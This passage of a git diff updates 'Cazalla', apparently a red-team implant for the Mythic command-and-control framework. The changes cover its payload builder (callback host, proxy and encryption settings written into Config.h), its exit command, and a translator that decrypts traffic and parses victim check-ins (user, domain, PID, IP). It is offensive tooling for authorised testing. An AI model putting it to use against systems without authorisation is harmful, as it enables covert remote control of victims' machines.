aespsk_key_b64 + debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'") + debug_output.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})") + debug_output.append(f"Agent-side encryption ENABLED with AES256-HMAC") + else: + Config["ENCRYPTION_ENABLED"] = "0" # Use 1/0 instead of TRUE/FALSE for direct numeric use + Config["AESPSK_KEY"] = "" + debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'") + debug_output.append(f"Set Config[AESPSK_KEY] = '' (empty)") + debug_output.append(f"Agent-side encryption disabled") + if "https://" in Config["callback_host"]: Config["ssl"] = True - Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") + Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://", "") if Config["proxy_host"] != "": Config["proxyEnabled"] = True @@ -79,19 +179,18 @@ class CazallaAgent(PayloadType): )) agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) - - # copia el proyecto completo (no solo agent_code) copy_tree(str(self.agent_path), agent_build_path.name) - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Applying configuration", - StepStdout="All configuration setting applied", - StepSuccess=True - )) + output_format = self.get_parameter("output") + debug_enabled = self.get_parameter("debug") - # 🔧 FIX: rutas corregidas para la estructura agent_code/cazalla/ config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h" + + # Replace placeholders in Config.h + debug_output.append(f"\n=== CONFIG.H REPLACEMENT ===") + debug_output.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'") + debug_output.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'") + with open(config_path, "r+") as f: content = f.read() content = content.replace("%UUID%", Config["payload_uuid"]) @@ -103,32 +202,85 @@ class CazallaAgent(PayloadType): content = content.replace("%USERAGENT%", Config["USER_AGENT"]) content = content.replace("%PROXYURL%", Config["proxy_host"]) content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE") + + # Replace encryption settings + encryption_value = Config.get("ENCRYPTION_ENABLED", "0") + aespsk_value = Config.get("AESPSK_KEY", "") + debug_output.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'") + debug_output.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})") + content = content.replace("%ENCRYPTION_ENABLED%", encryption_value) + content = content.replace("%AESPSK_KEY%", aespsk_value) + f.seek(0) f.write(content) f.truncate() + + # Verify replacement worked + with open(config_path, "r") as f: + content_after = f.read() + if "#define ENCRYPTION_ENABLED" in content_after: + import re + match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after) + if match: + debug_output.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}") + match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after) + if match: + key_val = match.group(1) + debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}") + + # Send all debug info as part of "Applying configuration" step + output_format = self.get_parameter("output") + debug_enabled = self.get_parameter("debug") + final_output = f"All configuration setting applied (output={output_format}, debug={debug_enabled})\n\n" + final_output += "\n".join(debug_output) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Applying configuration", + StepStdout=final_output, + StepSuccess=True + )) - command = f"make -C {agent_build_path.name}/agent_code/cazalla exe" - filename = f"{agent_build_path.name}/agent_code/cazalla/build/cazalla.exe" + if debug_enabled: + make_target = f"debug_{output_format}" + output_filename = f"cazalla-debug.{output_format}" + else: + make_target = output_format + output_filename = f"cazalla.{output_format}" - # proc = await asyncio.create_subprocess_shell( - # command, - # stdout=asyncio.subprocess.PIPE, - # stderr=asyncio.subprocess.PIPE - # ) + command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target}" + filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}" - # stdout, stderr = await proc.communicate() - # print(stdout.decode(), stderr.decode()) + proc = await asyncio.create_subprocess_shell( + command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) - proc = await asyncio.create_subprocess_shell(command) - await proc.wait() + stdout, stderr = await proc.communicate() + compile_output = stdout.decode() if stdout else "" + compile_errors = stderr.decode() if stderr else "" + if proc.returncode != 0: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout=f"Compilation failed!\nSTDOUT:\n{compile_output}\n\nSTDERR:\n{compile_errors}", + StepSuccess=False + )) + resp.status = BuildStatus.Error + resp.build_message = f"Compilation failed: {compile_errors}" + return resp + + debug_info = " (DEBUG MODE)" if debug_enabled else "" await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Compiling", - StepStdout="Successfully compiled cazalla", + StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nOutput: {output_filename}", StepSuccess=True )) resp.payload = open(filename, "rb").read() + resp.build_message = f"Successfully built {output_filename}{debug_info}" return resp diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py index dc1482a..0a013db 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/exit.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -11,15 +11,16 @@ class ExitArguments(TaskArguments): async def parse_arguments(self): if len(self.command_line) > 0: - raise Exception("Este comando no debe tener parametros") + raise Exception("Exit command takes no parameters.") class ExitCommand(CommandBase): cmd = "exit" needs_admin = False help_cmd = "exit" - description = "Task para cerrar el proceso del implante" + description = "Task the implant to exit." version = 1 + is_exit = True # Important: marks this as an exit command (like Athena) supported_ui_features = ["callback_table:exit"] author = "Kaseya OFSTeam" argument_class = ExitArguments @@ -30,15 +31,12 @@ class ExitCommand(CommandBase): TaskID=taskData.Task.ID, Success=True, ) - # Marcar inmediatamente como completada ya que el agente se cerrará - response.Completed = True - response.TaskStatus = MythicStatus.Completed - type = taskData.args.get_arg("type") - response.DisplayParams = type + # Don't mark as completed immediately - let the agent send the response + # This follows Xenon and Athena's pattern return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - resp.TaskStatus = "completed" # Marcar explícitamente como completada + # Mark task as completed explicitly when we receive the response resp.Completed = True return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt index 91a3769..54199ae 100644 --- a/Payload_Type/cazalla/requirements.txt +++ b/Payload_Type/cazalla/requirements.txt @@ -6,4 +6,7 @@ psutil==5.9.4 grpcio grpcio-tools mythic-container -pyaml \ No newline at end of file +pyaml +async-timeout==4.0.3 +charset_normalizer==3.3.2 +pycryptodome==3.19.0 diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 6e83ea9..2550b3a 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -92,13 +92,34 @@ def responseTasking(tasks): dataToSend = dataHead + dataTask print("estamos en el dataToSend\n") - print(dataToSend.hex()) + print(f"[TRANSLATOR] dataToSend total={len(dataToSend)} bytes") + print(f"[TRANSLATOR] dataHead (comando+num_tasks)={dataHead.hex()} ({len(dataHead)} bytes)") + print(f"[TRANSLATOR] dataTask (tareas)={dataTask.hex()[:100]}..." if len(dataTask) > 50 else f"[TRANSLATOR] dataTask={dataTask.hex()}") + print(f"[TRANSLATOR] First byte of dataToSend=0x{dataToSend[0]:02X}") return dataToSend -def responseCheckin(uuid): - data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01" - return data +def responseCheckin(uuid, server_pubkey=""): + """ + Construye la respuesta de checkin. + Incluye la clave pública ECC del servidor (base64) para que el agente derive la AES. + """ + data = bytearray() + data.append(commands["checkin"]["hex_code"]) # 0xF1 + data += uuid.encode() # UUID del agente + + # Si hay clave pública, añadirla con longitud (DWORD) + datos + if server_pubkey: + key_bytes = server_pubkey.encode() + data += len(key_bytes).to_bytes(4, "big") + data += key_bytes + print(f"[DEBUG] Añadida server_pubkey ({len(key_bytes)} bytes)") + else: + data += (0).to_bytes(4, "big") + print("[DEBUG] Sin server_pubkey en checkin") + + return bytes(data) + def responsePosting(responses): data = len(responses).to_bytes(4, "big") diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index f0cb4f3..4d1705b 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -39,7 +39,7 @@ def checkIn(data): # Retrieve Username username, data = getBytesWithSize(data) - # Retrieve Domaine + # Retrieve Domain domain, data = getBytesWithSize(data) # Retrieve PID @@ -52,6 +52,15 @@ def checkIn(data): # Retrieve External IP externalIP, data = getBytesWithSize(data) + # === Retrieve ECC Public Key if present === + pub_key = None + try: + pub_key, data = getBytesWithSize(data) + pub_key = pub_key.decode() if pub_key else None + print(f"[DEBUG] Clave pública ECC recibida: {pub_key[:60]}...") # truncada + except Exception as e: + print(f"[DEBUG] No se recibió clave pública ECC: {e}") + dataJson = { "action": "checkin", "ips": IPs, @@ -66,6 +75,9 @@ def checkIn(data): "externalIP": externalIP.decode('cp850'), } + if pub_key: + dataJson["pub_key"] = pub_key + return dataJson diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index 11dce3b..ea23498 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -2,31 +2,137 @@ import json import base64 import binascii import os +import hmac +import hashlib +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad, unpad from translator.utils import * from translator.commands_from_c2 import * from translator.commands_from_implant import * -from mythic_container.TranslationBase import * +from mythic_container.TranslationBase import ( + TranslationContainer, + TrGenerateEncryptionKeysMessage, + TrGenerateEncryptionKeysMessageResponse, + TrMythicC2ToCustomMessageFormatMessage, + TrMythicC2ToCustomMessageFormatMessageResponse, + TrCustomMessageToMythicC2FormatMessage, + TrCustomMessageToMythicC2FormatMessageResponse +) + +# ✅ Añade esta definición manual para compatibilidad +from enum import Enum + +class TranslationContainerEncryptionType(Enum): + NoneType = 0 + MythicEncrypts = 1 + + class cazalla_translator(TranslationContainer): name = "cazalla_translator" description = "Python translation service for the C agent Cazalla" author = "OFSTeam" + + # Variables de clase para configuración de cifrado + _crypto_type = "none" + _enc_key = None + + def aes256_encrypt(self, plaintext: bytes) -> bytes: + """ + Encrypt data using AES-256-CBC with HMAC-SHA256. + Format matches agent: [IV(16 bytes)][Ciphertext(...)][HMAC(32 bytes)] + """ + if not self._enc_key: + print("[TRANSLATOR] ERROR: No encryption key available!") + return plaintext + + # Generate random IV + iv = os.urandom(16) + + # Create cipher + cipher = AES.new(self._enc_key, AES.MODE_CBC, iv) + + # Pad and encrypt + padded = pad(plaintext, AES.block_size) + ciphertext = cipher.encrypt(padded) + + # Create HMAC over (IV + ciphertext) + hmac_msg = iv + ciphertext + mac = hmac.new(self._enc_key, hmac_msg, hashlib.sha256).digest() + + # Return: [IV(16)][Ciphertext][HMAC(32)] - matches agent format + return iv + ciphertext + mac + + def aes256_decrypt(self, ciphertext: bytes) -> bytes: + """ + Decrypt data using AES-256-CBC with HMAC-SHA256 validation. + Format matches agent: [IV(16 bytes)][Ciphertext(...)][HMAC(32 bytes)] + """ + if not self._enc_key: + print("[TRANSLATOR] ERROR: No encryption key available!") + return ciphertext + + if len(ciphertext) < 48: # Minimum: 16 (IV) + 16 (min ciphertext) + 32 (HMAC) + print(f"[TRANSLATOR] ERROR: Ciphertext too short! (length: {len(ciphertext)})") + return ciphertext + + # Extract IV, encrypted data, and HMAC (agent format: [IV][Ciphertext][HMAC]) + iv = ciphertext[:16] + recv_mac = ciphertext[-32:] # HMAC at the end + encrypted_data = ciphertext[16:-32] # Ciphertext in the middle + + if len(encrypted_data) < 16: + print(f"[TRANSLATOR] ERROR: Encrypted data too short! (length: {len(encrypted_data)})") + return ciphertext + + # Verify HMAC over (IV + ciphertext) + hmac_msg = iv + encrypted_data + expected_mac = hmac.new(self._enc_key, hmac_msg, hashlib.sha256).digest() + + if not hmac.compare_digest(recv_mac, expected_mac): + print("[TRANSLATOR] ERROR: HMAC verification failed!") + print(f"[TRANSLATOR] Expected: {binascii.hexlify(expected_mac).decode()}") + print(f"[TRANSLATOR] Received: {binascii.hexlify(recv_mac).decode()}") + raise ValueError("HMAC verification failed") + + # Decrypt + cipher = AES.new(self._enc_key, AES.MODE_CBC, iv) + padded = cipher.decrypt(encrypted_data) + + # Unpad and return + try: + return unpad(padded, AES.block_size) + except ValueError as e: + print(f"[TRANSLATOR] ERROR: Padding error: {e}") + raise async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: response = TrGenerateEncryptionKeysMessageResponse(Success=True) + print(f"[TRANSLATOR] generate_keys called with {len(inputMsg.keys)} key(s)") + + if len(inputMsg.keys) > 0: + # Store the encryption key + self._enc_key = inputMsg.keys[0] + print(f"[TRANSLATOR] Stored encryption key (length: {len(self._enc_key)})") + else: + print("[TRANSLATOR] No encryption keys provided") + self._enc_key = None + response.DecryptionKey = b"" response.EncryptionKey = b"" return response async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) + print("[TRANSLATOR] translate_to_c2_format called (Mythic → Agent)") print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) if inputMsg.Message["action"] == "checkin": print("Response CHECKIN") - response.Message = responseCheckin(inputMsg.Message["id"]) + server_pubkey = inputMsg.Message.get("server_key", "") + response.Message = responseCheckin(inputMsg.Message["id"], server_pubkey) elif inputMsg.Message["action"] == "get_tasking": print("Response TASKING") @@ -94,6 +200,18 @@ class cazalla_translator(TranslationContainer): }] response.Message = responseTasking(tasks) + # Apply encryption if needed (before sending to agent) + if self._crypto_type == "aes256_hmac" and self._enc_key: + print("[TRANSLATOR] Applying AES256-HMAC encryption before sending to agent") + print(f"[TRANSLATOR] Plaintext message length: {len(response.Message)}") + try: + response.Message = self.aes256_encrypt(response.Message) + print(f"[TRANSLATOR] Encrypted message length: {len(response.Message)}") + except Exception as e: + print(f"[TRANSLATOR] Encryption failed: {e}") + # Continue without encryption if it fails + pass + return response @@ -153,10 +271,28 @@ class cazalla_translator(TranslationContainer): async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) - print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) - data = inputMsg.Message + print("[TRANSLATOR] translate_from_c2_format called (Agent → Mythic)") + print(f"[TRANSLATOR] Received message length: {len(inputMsg.Message)} bytes") - # Extraer bloque SOCKS si existe (después del primer byte de comando) + # Decrypt if encryption is enabled (agent encrypts before sending) + data = inputMsg.Message + if self._crypto_type == "aes256_hmac" and self._enc_key: + print("[TRANSLATOR] Decrypting message from agent...") + print(f"[TRANSLATOR] Encrypted message (hex): {binascii.hexlify(data[:100]).decode()}...") + try: + data = self.aes256_decrypt(data) + print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes") + print(f"[TRANSLATOR] Decrypted message (hex): {binascii.hexlify(data[:100]).decode()}...") + except Exception as e: + print(f"[TRANSLATOR] ERROR: Decryption failed: {e}") + response.Success = False + response.Error = f"Decryption failed: {str(e)}" + return response + else: + print("IMPLANT --> C2 : " + binascii.hexlify(data).decode('cp850')) + + # Extract SOCKS block if exists (after first command byte) + # Note: Now data is plaintext (decrypted if encryption was used) clean_data, socks_array = self.extract_socks_block(data[1:]) if data[0] == commands["checkin"]["hex_code"]: @@ -190,4 +326,62 @@ class cazalla_translator(TranslationContainer): print("STOP SOCKS") response.Message = stopSocks(clean_data) + # Note: response.Message is a dict when using translation containers + # The HTTP profile will handle the actual byte encryption on the wire + # We don't need to encrypt here since the translator returns dict structures + # that Mythic will then encode and the HTTP profile will handle encryption + return response + + def get_encryption_type(self, build_parameters: dict) -> TranslationContainerEncryptionType: + """ + Permite a Mythic saber si el canal es cifrado o no (compatible con mythic_encrypts=True). + Cuando crypto_type=aes256_hmac, el translator maneja el cifrado. + El agente cifra los mensajes antes de enviarlos, el translator los descifra. + """ + crypto = None + enc_key_b64 = None + + # Extract crypto_type and enc_key from AESPSK dict (same as builder) + for key, val in build_parameters.items(): + if isinstance(val, dict): + if key == "AESPSK" or key == "aespsk": + # Extract crypto_type from 'value' field + if 'value' in val: + crypto = val['value'].lower() + print(f"[TRANSLATOR] Found crypto_type in AESPSK['value']: {crypto}") + # Extract enc_key + if 'enc_key' in val: + enc_key_b64 = val['enc_key'] + elif 'enc_key' in val: + enc_key_b64 = val['enc_key'] + + # Fallback: check for direct crypto_type parameter + if not crypto: + crypto = build_parameters.get("crypto_type", "").lower() + + print(f"[TRANSLATOR] get_encryption_type: crypto_type={crypto}, enc_key={'present' if enc_key_b64 else 'missing'}") + + # Store crypto_type for use in translate methods + self._crypto_type = crypto + + # Extract and decode enc_key + if enc_key_b64: + try: + self._enc_key = base64.b64decode(enc_key_b64) if enc_key_b64 else None + if self._enc_key: + print(f"[TRANSLATOR] Extracted enc_key (length: {len(self._enc_key)})") + else: + print("[TRANSLATOR] enc_key is empty") + except Exception as e: + print(f"[TRANSLATOR] ERROR extracting enc_key: {e}") + self._enc_key = None + else: + self._enc_key = None + + if crypto == "none" or not crypto: + print("[TRANSLATOR] Returning NoneType") + return TranslationContainerEncryptionType.NoneType + + print("[TRANSLATOR] Returning MythicEncrypts") + return TranslationContainerEncryptionType.MythicEncrypts \ No newline at end of file